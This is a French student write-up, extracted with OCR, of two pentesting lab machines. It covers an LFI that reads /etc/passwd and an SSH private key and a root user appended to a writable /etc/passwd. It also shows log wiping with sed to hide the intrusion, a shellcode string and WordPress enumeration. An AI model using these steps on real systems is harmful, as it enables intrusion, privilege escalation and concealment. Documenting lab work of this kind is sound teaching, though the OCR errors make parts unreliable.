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Toutes mes résolutions de CTF

Voici le compte rendu des différentes résolutions de CTF de BOUGHLEM Bilel et d’adresse
mail b.boughlem@rt-iut.re :

Machine 6

6.1 - Obtention du premier flag

Nous obtenons I'adresse IP de la machine cible au moyen de la commande nmap
192.168.1.0/24, une fois la commande executée, nous effectuons un Nmap agressif pour
découvrir les différents services qui tournent sur cette machine au moyen de la commande
nmap -A 192.168.1.11 :

[~
A 192.168.1.11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-03 20:54 +04
Nmap scan report for 192.168.1.11
Host is up (0.00052s latency).
Not shown: 995 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

| ssh-hostkey:

| 2048 a3:38:0e:b6:a1:b8:49:b1:31:a0:43:3e:61:¢3:26:37 (RSA)

| 256 fc:40:6c:0b:7b:f0:03:6e:2e:ef:2d:60:b5:96:01:b6 (ECDSA)

|_ 256 90:ed:89:27:9d:65:ea:80:54:79:65:af:2c:d7:80:43 (ED25519)

80/tcp open http Apache httpd 2.4.38 ((Debian))

| _http-server-header: Apache/2.4.38 (Debian)

| _http-title: DU2C Corp

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Service Info: Host: RT@06; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

| smb2-time:

| date: 2024-12-03T16:54:54

|_ start_date: N/A

| _clock-skew: mean: -19m51s, deviation: 34m38s, median: 7s
| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:

I 3:1:1:

|_ Message signing enabled but not required

| _nbstat: NetBIOS name: RTO06, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:

| 0S: Windows 6.1 (Samba 4.9.5-Debian)

| Computer name: rt006

| NetBIOS computer name: RTO06\x00

| Domain name: \x00

| FQDN: rt0oo6

|_ System time: 2024-12-03T17:54:54+01:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.44 seconds
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Nous avons donc un service ssh, un service http, un service ftp et un service netbios-ssn qui
est simplement un serveur de partage de fichier samba utilisant deux ports sur la machine...

Commencgons par analyser le service http proposé par la machine cible :

®  buccop X  +

€ > C O & 192188111

Il semble n’y avoir qu’un site web en maintenance, le code source ne donnant pas
d’informations supplémentaires, en revanche, nous pouvons deviner qu’'un nom d’utilisateur

pour les autres services pourrait étre du2c.

Tentons de tester la majorité des ressources connues sur ce serveur web en utilisant I'outil
gobuster grace a la commande gobuster dir -u http://192.168.1.11 -w

Jusr/share/dirb/wordlists/common.txt

(kali® kali)-[~] ommo!
[:; gobuster dir -u http://192.168.1.11 -w /usr/share/dirb/wordlists/c n.txt

Gobuster v3.6

by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] url:

[+] Method:

[+] Threads:

[+] wordlist:

[+] Negative Status codes:
[+] User Agent:

[+] Timeout:

[S—ra—

http://192.168.1.11

GET
10

/usr/share/dirb/wordlists/common. txt

404

gobuster/3.6

10s

Starting gobuster in directory enumeration

mode

/.hta (Status:
/.htpasswd (Status:
/.htaccess (Status:
/assets (Status:
/images (Status:
/index.html (Statu

/robots.txt (Sstatu

/server-status (Status:

w0

403)
403)
403)
301)
301)
200)
200)
403)

Progress: 4614 / 4615 (99.98%)

[Size:
[Size:
[Size:
[Size:
[Size:
[Size:
[Size:
[Size:

2771
2771
2771
313]
313]
5056]
26]
2771

Finished
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Accédons donc aux pages auxquelles nous pouvons accéder :

(5)  192.168.1.11/robots.txt

N > C

/secret
/admin
/wordpress

X +

O & 192.168.1.11/robots.txt

Le fichier robots.txt propose des répertoires cachés qui sont faux puisque déja testés, une
maniére de tromper des attaquants ? Maintenant, nous commencgons a vraiment penser que
ce serveur web a des choses a cacher, testons donc de trouver des répertoires cachés un

peu moins connus avec un dictionnaire plus large, la commande employée sera donc

gobuster dir -u http://192.168.1.11 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt :

g ~[~

dir -u http://192.168.1.11 -u

/usr/share/wordlists/dirbuster/directory-list-2.3-medium. txt

Gobuster v3.6

by 0] Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] url: http://192.168.1.11
[+] Method: GET

[+] Threads: 10

[+] wWordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

Starting gobuster in directory enumeration mode
/images t 1) [Size: 313]
/assets tat [Size: 313]
/Portal tat [Size: 313]
/server-status (S 403) [Size: 277]

Progress: 220560 / 220561 (100.00%)

Finished
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Etil y a effectivement un répertoire caché nommé Portal, accédons y donc :

5 192.168.1.11/Portal/ . JEE

<« @] O & 192.168.1.11

PAGE PRINCIPALE  NOUS CONTACT

Bienvenue sur le site du DU2C !!

Site en construction pour le moment. revenez plus tard.

Mais rien d’exceptionnel, cependant, en analysant le code source, l'inclusion des fichiers
about-us.html et contact-us.html nous fait nous demander si le serveur web ne présenterait
pas des vulnérabilités face aux inclusions de fichiers locaux ?

)  http://192.168.1.11/Portal/ X  +
C ﬁ view-source:http://192.168.1.11/Portal/
1< >
p < >
3 < href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans" rel="stylesheet">
4 < rel="stylesheet" type="text/css" href="style.css">
5 </ >
6 < >
7 < class="menu">
8 <a href="index.php">Page Principale</a>
9 <a href="index.php?view=about-us.html">Nous</a>
10 <a href="index.php?view=contact-us.html">Contact</a>
11 </ >
12 <p><b>Bienvenue sur le site du DU2C !!</b><br><br>Site en construction pour le moment. revenez plus tard.</br></p>
13 </ >
14 </ >
15

Testons cette piste !

=) 192.1668.1.11/Portal/indexphpviev. X
<« C O & 192168111 B v ® ©®

PAGE PRINCIPALE NOUS CONTACT

:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2 bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
5534:sync:/bin:/bin/sync game: 0:games:/usr/games:/usr/sbin/nologin man 12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/
spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/
uucp:/usr/sbin/nologin pro: 13 roxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/

backups:/usr/sbin/nologin lis 38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gna 41:41:Gnats Bug-
Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/
sbin/nologin systemd-timesy 101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/
nonexistent:/usr/sbin/nologin sshd:x:105:6553. un/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:106:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin du2c:x:1000:1001:william,,,:/home/du2c:/bin/bash

Et cela fonctionne bel et bien, nous pouvons lire le contenu du fichier /etc/passwd.
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Explorons donc le systéme de la machine cible :

PAGE PRINCIPALE NOUS CONTACT

b3BIbnNzaC1rZXktdjEAAAAABGSVbMUAAAAEbMIUZQAAAAAAAAABAAABFWAAAAdzC2gtcn
NhAAAAAWEAAQAAAQEAPEB973BhwsqufjKoEz/SQIZOuCWUTbH1ffZcqTpwQZviXN/FMpcG
izyJCpiUOy9gt7bbc6P17bBDDZpHyWzyZ1bf8DmtPbHIRhzUHPEI2FZ7+MCRYjBRd/txVI IpJyoGwp4ADg5/nl6ZInldMdntjRDj9Fnrm2gmd+LrueXyvWm+4F72T/
e65FkgkwwlWMUQ pwqep03IgBEzZWRFoHUh+hy2icOYZkrmNoiN/D92cLpEU4reZeugPpTtfwIR7xH2ZDknYB/
6t4HVOYmMDEYtIWINDbgYCKvymvsdN7SfKSbmYXKHGhWmPYTO/snTmIH27ULN2IsgQu2IWRL Zx0/
YrcCDWAAASDt+QAQ7fKAAAAAAdZC2gtcnNhAAABAQCKQH3VCGHCYq5+MagTP9ICVn S4IZR9sfV99lypOnBBm+Ic38UylwalPIkkmIQ7L2C3tttzo/
XtsEMNmkfIbPJIkht/w0a09 seVGHOA4c8Q)YVnvAwIFIMFF3+3FUgiknKgbCngAODN+eXpkmeXgx2e2NEOPOWeubaCZ34u
u55fK9ab7gXvZP97rkWSCTDAtYXRCNCpbok7eWAETNZEWgdSH6HLalw5hmSuY2iI38P3Zwu kRTit5166A+101/AhHVEfZKOSdgH/q3gdXRiYMRiOhaU1uBglq/
Ka+x03tJ8pJuZhcocaF aY9hPT+ydOYkfbtQs3YiyBC7YIZEtnHT9itwIPAAAAAWEAAQAAAQEAOVUHXcxQ+fgCIMNk
9SNW7vnkodumEuBddWArG73ezVLEQNO64LofH1xSbyn3Tzr2EP13CFsgEFt1QUMtBIgPLI acV2UPmO3Hedqot5y5R2WLVAYuRveWzfcYFh3TNji9cyOmgigTigha/
YWIVC6E2mé6guT4p gfgG8PLe/zZWx/ADzKbNGTbCF99rivzWaaBB2jC9ff1lulWOQPcROUN1Z208ADj763u0NLNS 3tJ1184ANqqYMlobG3+AJKrBraclb/
FYOgd/7erH1EEgVZyaexF6/z4uiVAMPEPItMTd30 B2gE9ePb0qz68uPbMqGGOtq2FzHO9wXkn25rndwmiuX0YQAAAIBvSzHpul+WQUrPgSpTAW
Ma0s6wI2MjdgnZKEtebYCS6sgTmX8+nvxmM00309qukveM7ulrdIbzEX+i+HpamSfTsSkN
G9AjHsiXOTHMPVRY5+xSnMV9h1udIRsIR0ZsX8SR7e9ubkK51aQCZk/CPxC5+ftfmHcWEK
hZiRdP2hFeHQAAATEAONdDWCN1smOZsZzEsJQGkv23+7am1ZS9yPRi5+xV8m8nOhDYDEYm IZgIhryX76wAxnXq/
CA6AI58q5EO0CKOfWScu2Hv7h1+tPkFMgB5sjZAQQ2vIl+opLnuXpr
Doq8ULIIzxXWNOU6QMMQeELIOkOMw20fTQrHMXMZj8Fq+5CKkOAAACBAMIXngMOGO74Rgxw
NWeJl1zqBur3FAXCQkgn1UBA4PSNGRHrMGX91+jzFSeTODOy8f/zDTWwHT6QOpFmticZMh1 UW7bvAIMaJEfThG/
uKt8xPXLPRcezds9WHYcGj51Z8BuD39gnWIfIkPG6nuR+GOjjW9gEd fKRRpBxhj78f6LPLAAAAC3Ivb3RAZ2VtaW5pAQIDBAUGBwW== -----END OPENSSH PRIVATE

Et bingo, nous trouvons le fichier id_rsa qui pourrait nous permettre de nous connecter en
ssh a la machine cible avec I'utilisateur du2c... Récupérons donc le contenu du fichier sur la
machine attaquante que nous copie-collerons dans un fichier id_rsa sur lequel nous
exécuterons la commande ssh2john id_rsa > id_rsa.txt pour connaitre la clé qui nous
permettras de nous connecter en ssh a la machine cible :

~

id_rsa id_rsa.txt
1id_rsa has no password!
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Aucun mot de passe, pas trés cyber de la part de du2c, nous pouvons donc directement
accéder en ssh a la machine cible en utilisant son compte en incluant le fichier id_rsa et
sans mot de passe au moyen de la commande ssh -i id_rsa du2c@192.168.1.11 :

i id_rsa du2c@192.168.1.11
Linux rt@@6 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64

_-o#tgg*""""2d:>b\_

_o/" "' "', dMFOMMMMMHo_
054" * " MBHMMMMMMMMMMMHO .
0" ! vOodM#*$ 56 HMMMMMMMMMM 2.
- $M&ood , ~ "~ (GHEMMMMMMH'\
/ , MMMMMMM£ b ? b o bMMMMHMMML
& 2 MMMMMMMMMMMMMMMMM 7 MMM $ R * Hk
?$. ¢ /HMMM |~ %L
| | bMH* T,
$Ha#: ' b#}' 2
IMMH# T MMMMMMAMMMMMMM * -
MMMMMb _ | MMMMMMMMMMMP *
HMMMMMMMHO " MMMMMMMMMT
2 MMMMMMMMP OMMMMMMMM } -
= 2 MMMMMMM | MMMMMMMMM ? , d -
* | MMMMMM- TMMMMMMMT M.
L OMMM[ SMMMMM " ' .
1 9MMK *MMME " -

&M} =
K .
T~y . ./

WELCOME

du2carteo6:~$ i

Et récupérons facilement le premier flag contenu dans un fichier user.txt qui est
0536205341435e72cd64998eeae948ca :

du2cartons:~$ 1s -1
total 28

drwxr-xr-x 2 du2c du2c 4096 nov. 6 2020
drwxr-xr-x 2 du2c du2c 4096 nov. 6 2020
drwxr-xr-x 2 du2c du2c 4096 nov. 6 2020
drwxr-xr-x 2 du2c du2c 4096 nov. 6 2020
drwxr-xr-x 2 du2c du2c 4096 nov. 6 2020
-Tw 1 du2c du2c 33 juin 8 2021 user.txt
drwxr-xr-x 2 du2c du2c 4096 nov. 6 2020

du2cart006:~$ cat user.txt
0536205341435e72cd64998eeae948ca




DE LA REUNION

SAES.CYBER.04

Découverte du pentesting.

6.2 - Obtention du second flag

Que pouvons nous faire a partir d’'un shell avec du2c ? Trouvons les commandes qu'il peut
exécuter avec des droits de superutilisateur avec la commande sudo -/ :

du2cart006:~$ sudo -1

-bash:

sudo :

commande introuvable

Une autre alternative serait d’afficher tous les fichiers sur lesquels du2c posséde des droits
d’écriture au moyen de la commande find / -user du2c -writable 2>/dev/null, nous testons
mais cela n’affiche que les fichiers qui lui appartiennent, puis nous testons la commande find
/ -group du2c -writable 2>/dev/null qui fait la méme chose mais pour le groupe du2c et voici

ce que nous observons :

du2cartoo6:~$ find /——group

/sys/fs/cgroup/systemd/user.
/sys/fs/cgroup/systemd/user.
/sys/fs/cgroup/systemd/user.
/sys/fs/cgroup/systemd/user.
/sys/fs/cgroup/systemd/user.
/sys/fs/cgroup/systemd/user.
/sys/fs/cgroup/systemd/user.
/sys/fs/cgroup/systemd/user.
/sys/fs/cgroup/systemd/user.
/sys/fs/cgroup/unified/user.
/sys/fs/cgroup/unified/user.
/sys/fs/cgroup/unified/user.
/sys/fs/cgroup/unified/user.
/sys/fs/cgroup/unified/user.
/sys/fs/cgroup/unified/user.
/sys/fs/cgroup/unified/user.
/sys/fs/cgroup/unified/user.
/sys/fs/cgroup/unified/user.
/sys/fs/cgroup/unified/user.
/sys/fs/cgroup/unified/user.

/run/user/1000
/run/user/1000/gnupg

du2c -writable 2>/dev/null

slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.
slice/user-1000.

/run/user/1000/gnupg/S.gpg-agent
/run/user/1000/gnupg/S.gpg-agent.ssh
/run/user/1000/gnupg/S.gpg-agent.browser
/run/user/1000/gnupg/S.gpg-agent.extra
/run/user/1000/gnupg/S.dirmngr

/run/user/1000/systemd

/run/user/1000/systemd/private
/run/user/1000/systemd/notify

/etc/passwd
/proc/651/task/651/fd/@
/proc/651/task/651/fd/1
/proc/651/task/651/fd/2
/proc/651/task/651/fd/3
/proc/651/task/651/fd/7
/proc/651/task/651/fd/9
/proc/651/task/651/fd/12

Le fichier /etc/passwd est glissé dans le groupe du2c ?

slice/user@1000.
slice/user1000.
slice/user@l000.
slice/user1000.
slice/user@1000.
slice/user®l1000.
slice/user@1000.
slice/user1000.
slice/useral000.
slice/user@l000.
slice/user@1000.
slice/user@l000.
slice/useral000.
slice/user@1000.
slice/user®l1000.
slice/user@1000.
slice/userm1000.
slice/useral000.
slice/user@l1000.
slice/usera1000.

service

service/cgroup.procs

service/tasks

service/init.
service/init.
service/init.
service/init.
service/init.

scope
scope/cgroup.procs
scope/tasks
scope/notify_on_release
scope/cgroup.clone_children

service/cgroup.clone_children

service

service/cgroup.procs
service/cgroup.threads

service/init.
service/init.
service/init.
service/init.
service/init.
service/init.
service/init.

scope
scope/cgroup.
scope/cgroup.
scope/cgroup.
scope/cgroup.threads
scope/cgroup.subtree_control
scope/cgroup.max.depth

procs
max.descendants
type

service/cgroup.subtree_control

BOUGHLEM




DE LA REUNION

SAE3.CYBER.04 Découverte du pentesting. BOUGHLEM

Cela signifie que du2c posséde probablement des droits particuliers sur ce fichier, vérifions :

du2carto06:~$ 1s -1 /etc/passwd
-rw-rw-rw- 1 root du2c 1450 juin 8 2021 /etc/passwd

Et c’est le cas, nous pouvons donc ajouter une ligne déclarant utilisateur possédant des
droits de superutilisateur sur le systéme :

du2c:x:1000:1001:william,,,:/home/du2c:/bin/bash
du32c:U9dt52rKRnva6:0:0 :: /root:/bin/bash

D’ou vient le mot de passe que nous avons donné a l'utilisateur du32c ? C’est un mot de
passe que nous avons définis au préalable comme étant password dont nous générons le
hash au moyen de la commande openss/ passwd password :

du2cart006:~$ openssl passwd password
U9dt52rkKRnvab

Et nous pouvons donc nous connecter en tant que du32c, et ce ne fut pas sans difficultés,
puisque nous avons testé plusieurs autres méthodes et modifications du fichier /etc/passwd
avant d’avoir enfin réussi :

du2carto06:~$ su du32c
Mot de passe
rootorto06: 11

A noter que le systéme fait 'amalgame entre root et du32c puisqu’ils ont le méme uid mais
ce n’est pas un probléme dans notre cas, nous pouvons donc accéder au flag root :

rootart006: # cd /root

rootartod6:~# ls -1

total 4

-rw— 1 root root 33 juin 8 2021 root.txt

rootorto06:~# cat root.txt
6ec9eb4bda’7a%9aca876ae3a5c05249b9

Nous obtenons donc le flag root qui est 6ec9e64bda7a9aca876ae3a5c05249b9.
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6.3 - Suppression des traces

C’est le dossier /var/log qui contient la majorité des traces de nos actions, la commande /s -/t
nous permettra d’afficher en triant les fichier en fonction de leur date de derniere
modification, découvrons donc quels fichiers nous devons modifier :

rootorto06:
total 3872
-TW-T
-TW-T
druxr-x—
-TW-T
-TW-Tw-r--
-TW-TW-I--
-TW-T
-TW-Tr
-TW-T
-TW-r-——r--
-rw-r--r--
drwxr-xr-x
-TW-T
-TW-T
-TW-TW—
-TW-T
-TW-T
druxr-x—
-TW-T
-TW-T
-TW-T
-TW-TW—
-TwW

-TW-r--r--
-TW-r——r-—-
-TW-T
-TW-r--r--
drwx
drwxr-xr-x

WO = S = e e e e e N R R e e N S e R e e e e D

root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

# 1s -1t

adm 7561 dec. 10 03:17 auth.log

adm 284048 déec. 10 03:17 syslog

adm 4096 dec. 10 03:15

adm 59422 dec. 10 03:09 daemon.log
utmp 292292 déc. 10 03:06 lastlog

utmp 67200 dec. 10 03:06 wtmp

adm 210965 dec. 10 03:04 kern.log

adm 182087 déc. 10 03:04 messages

adm 29191 déc. 10 03:04 debug

root 3236 juin 8 2021 dpkg.log
root 4165 juin 8 2021 alternatives.log
root 4096 juin 8 2021

adm @ juin 8 2021 vsftpd.log
adm 730235 juin 8 2021 messages.l
utmp ® juin 8 2021 btmp

adm 284223 juin 8 2021 daemon.log.l
adm 573221 juin 8 2021 syslog.l

adm 4096 juin 8 2021 apach

adm 844239 juin 8 2021 kern.log.l
adm 69312 juin 8 2021 auth.log.1
adm 122349 juin 8 2021 debug.1

utmp 1536 nov. 6 2020 btmp.1

root 2545 nov. 6 2020 vsftpd.log.1
root 219546 nov. 6 2020 dpkg.log.1
root 16282 nov. 6 2020 alternatives.log.l
adm 127350 nov. 6 2020

root 32032 nov. 4 2020 faillog

root 4096 nov. 4 2020 p»

root 4096 nov. 4 2020 1in 1

Et pour vider les fichiers de seulement nos actions, nous les modifions en supprimant les
lignes contenant Dec 10 au moyen de la commande sed -i /*Dec 10/d" nomdufichier.
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Ce sont donc les fichiers auth.log, syslog, daemon.log, lastlog, kern.log, messages et debug
que nous modifions de la sorte, quand au dossier samba, vérifions son contenu :

rootorto06:
total 36
-I'W-Ir--r--
-r'Ww-r-—r--
-I'W-Ir--r--
-I'W-r--r--
-I'W-r-—-r--
-I'W-r--r--
-I'W-Ir--r--
-I'W-r-—r--
-I'W-r--r--
-I'W-r--r--
-I'W-r—r-—-
drwx

B e R e e e e e e e

root
root
root
root
root
root
root
root
root
root
root
root

root
root
root
root
root
root
root
root
root
root
root
root

## s -1t

2669
1008
11927
3192
606
352

)

0
4096

dec.
dec.
dec.
dec.
dec.
juin
nov.
nov.
nov.
nov.
nov.
nov.

10
10
10
10

SO0y OO0

03
03

120
120

03:
:05

03
03

15

104

2021
2020
2020
2020
2020
2020
2020

log.
log.
log.
log.
log.
log.
log.
log.
log.
log.
log.

192.168.1.22
localhost
192.168.1.12
nmbd

smbd

nmbd.1
smbd.1

192.168.1.92
nmap
kali

Apres analyse du contenu des fichiers, nous nous rendons compte que seuls log.nmbd et
log.smbd contiennent des traces, les autres fichiers étant vide, nous utiliserons la méme
commande que précédemment sauf que I'argument de début de ligne pour la suppression

sera [2024/12/10 au lieu de Dec 10.

Une fois cela fait, nous supprimons bien évidemment I'utilisateur que nous avons généré
sans besoin de supprimer le hash car celui-ci n’est déja pas contenu dans /etc/shadow...

Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion sur la machine

cible.
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Machine 7

7.1 - Obtention du premier flag

Nous commencons par détecter la machine cible sur le réseau au moyen de la commande
nmap 192.168.1.0/24, et nous trouvons son adresse IP comme étant 192.168.1.19,
effectuons donc un nmap agressif sur cette adresse au moyen de la commande nmap -A
192.168.1.19:

— ap -A 192.168.1.19

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-10 19:46 +04
Nmap scan report for 192.168.1.19

Host is up (0.0011s latency).

Not shown: 997 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| _-rw-r--r-- 1 ftp ftp 296263 Jun 18 2021 logo.png
22/tcp open ssh OpenSSH 7.9p1 Debian 10+debl1@u2 (protocol 2.0)
| ssh-hostkey:

| 2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)

| 256 5b:c4:68:d1:89:59:d7:48:b0:96:13:11:87:1c:08:ac (ECDSA)

|_ 256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))

| _http-title: Site doesn't have a title (text/html).

| _http-server-header: Apache/2.4.38 (Debian)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.02 seconds

Les trois services offerts par la machine cible sont donc un service ftp, ssh et http. Débutons
par le service ftp puisque le fait qu’il soit anonyme signifie que I'on peut déja s’y connecter,
nous ouvrirons donc une session ftp avec la commande fip 192.168.1.19 :

—$ ftp 192.168.1.19

Connected to 192.168.1.19.

220 ProFTPD Server (localhost) [::ffff:192.168.1.19]

Name (192.168.1.19:kali): anonymous

331 Anonymous login ok, send your complete email address as your password
Password:

230 Anonymous access granted, restrictions apply

Remote system type is UNIX.

Using binary mode to transfer files.




Récupérons quelques informations sur le contenu du serveur :

ftp> pwd

Remote directory: /

ftp> 1s

229 Entering Extended Passive Mode (|]|[3788])

150 Opening ASCII mode data connection for file list

-Irw-r-—-r-- 1 ftp ftp 296263 Jun 18 2021 logo.png
226 Transfer complete

Nous constatons que la racine est correctement configurée et que le seul contenu est une
image nommé logo.png, importons la donc dans notre machine attaquante pour I'analyser
au moyen de la commande get logo.png :

https://mastodon.social/@7ah

Nous avons donc une image d’'un anonymous et surtout un lien dans le coté qui est
https://mastodon.social/@7ah... Avant d’analyser cette piste, nous analyserons rapidement
les métadonnées de cette image au moyen de la commande exiftool logo.png, mais les
métadonnées semblent normales.
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Analysons donc ce lien puis le service http :

« > C O 8 ‘mastodon.social. X W

‘mastodon

@ Explore
@ Live feeds

mastodon.social

Mastodon is the best way to keep up
with what's happening.

Follow anyone across the fediverse and
see it all in chronological order. No

algorithms, ads, or clickbait in sight.
Create account

ADMINISTERED BY: SERVER STATS:
Posts Posts and replies Media

. ps

@ Mastodon 276K
M active users

B rt007 - Pastebin.com
€ e numb

C’est un lien qui lui méme renvoi a un lien pastebin, continuons d’explorer :

© B 007 - Pastebin.com XN +
Cc O B hitps//pastebin.com o
w PASTEBIN APl TOOLS  FAQ - et Q
rt007

i

@ 72+ B JUN 18TH, 2021 @ 116 ¢ 0 3 NEveER [E] ADD COMMEN
@ Not a member of Pastebin yet? Sign Up, it unlocks many cool features!

©.05 KB | None | g Q)

follow me ...

239a54d2be3eb203bd126825d4a31052/

Nous devons donc suivre ce qui ressemble a un répertoire étant
239a54d2be3eb203bd126825d4a31052...

En passant nous analysons les autres posts de 7ah sur pastebin qui sont une commande et
un code :

export SHHH=$(python -c ‘print
"\x31\xc0\x48\xbb\xd 1\x9d\x96\x9 1\xd0\x8¢c\x97 \xfA\x48\xf7\xdb\x53\x54\x5\x99\x52\x57\x54\

x5e\xb0\x3b\x0\x05")
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Puis ceci :

//https.//stackoverflow.com/questions/40489161/why-this-piece-of-code-can-get-environment
-variable-address

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(int argc, char *argvf]) {
char *ptr;

if(argc < 3) {

printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);

}

ptr = getenv(argv[1]); /* get env var location */

ptr += (strlen(argv[0]) - strlen(argv([2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);

}

Ce sera tout pour la piste pastebin, ces deux trouvailles seront probablement utiles a I'avenir
(ou pas...), analysons a présent le serveur http :

5 | 192.168.1.19/ .

<« C O & 192.168.1.19

Welcome to this brand new web site !!!

Rien d’intéressant, sauf dans le code source révélant un message :

5 http://192.168.1.19/ .
C ’d view-source:http://192.168.1.19/
1 <!DOCTYPE html>
2 <html>
3 <body>
4 <style>
5 </style>

6

7 Welcome to this brand new web site !!!

8

9 <!-- this web site have already been hacked
10 some credentials have been lLeaked online
11 on the clear web - Anonymous

12 ==

13

14 </body>

15 </html>

16
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Il est donc dit que le site a déja été piraté, et que des informations de connexion ont déja été
divulguées dans le web de surface, message d’Anonymous.

Des informations que nous garderons en stock et peut étre relatives a nos trouvailles

précédentes, effectuons une recherche des répertoires courant sur le serveur au moyen de
la commande gobuster dir -u http://192.168.1.11 -w /usr/share/dirb/wordlists/common.txt :

— dir http://192.168.1.19 /usr/share/dirb/wordlists/common.txt

Gobuster v3.6
by 0] Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] url: http://192.168.1.19

[+] Method: GET

[+] Threads: 10

[+] wWordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.6

[+#+] Timeout: 10s

Starting gobuster in directory enumeration mode

/.hta (Status: 403) [Size: 277]
/ .htaccess (Status: 403) [Size: 277]
/ .htpasswd (Status: 403) [Size: 277]
/index.html tat [Size: 243]

/server-status

Status: 403) [Size: 277]
Progress: 4614 / 4615 (99.98%)

Finished

Mais aucun répertoire caché contenu dans le dictionnaire utilisé, essayons avec le potentiel
nom de répertoire trouveé sur Pastebin :

(&) O & 192168119 B % w © @ 8§ - @ =

du2c security blog
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Et nous trouvons un blog plutét intéressant, trois informations importantes sont données, le
nom d’utilisateur du2c, le fait que wordpress soit utilisé pour faire fonctionner ce site et
d’autre noms d’utilisateurs :

Recent Comments

buddy guy on Crosscut Saw
erdal komurcu on Ode to Security
charles brown on Ode to Security

Tentons donc de trouver de potentiels répertoires cachés dans ce répertoire caché au
moyen de la commande gobuster dir -u
http://192.168.1.19/239a54d2be3eb203bd126825d4a31052 -w
/usr/share/dirb/wordlists/common.txt :

dir http://192.168.1.19/239a54d2be3eb203bd126825d4a31052 /usr/share/dirb/wordlists/common.txt

Gobuster v3.6
by 0] Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] url: http://192.168.1.19/239a54d2be3eb203bd126825d4a31052
[+] Method: GET

[+] Threads: 10

[+] Wordlist: /usr/share/dirb/wordlists/common. txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

.hta [Size: 277]
.htaccess [Size: 277]
.htpasswd [Size: 277]
index.php [Size: 0]
wp-admin [Size: 348]
wp-content [Size: 350]
wp-includes [Size: 351]
Progress: 4614 4615 (99.98%)

xmlrpc.php [Size: 42]
Finished

Et nous trouvons donc les fichiers wp-admin, wp-content et wp-includes. Accédons-y donc !




La page wp-admin contient une page ressemblant a ceci :

El Log In « du2c security blog — Worc X +

“ C O & 1921681.19 X v

Powered by WordPress

Username or Email Address

Password

[JJ Remember Me
Log In

Lost your password?

«— Go to du2c security blog

A noter que nous remplacerons toujours rt007.run par I'adresse IP de la machine cible.

Effectuons un scan du domaine wordpress au moyen de la commande wpscan --url
http://192.168.1.19/239a54d2be3eb203bd126825d4a31052 --enumerate vp --api-token
7tSVkDUbaatIXEa34TaJXRV26a23Rv6NAvhaWNWMJLg, a noter que le token api est
généré automatiquement lorsque I'on se connecte sur le site de wpscan, et qu’ils sont limités
a 25 par jour :

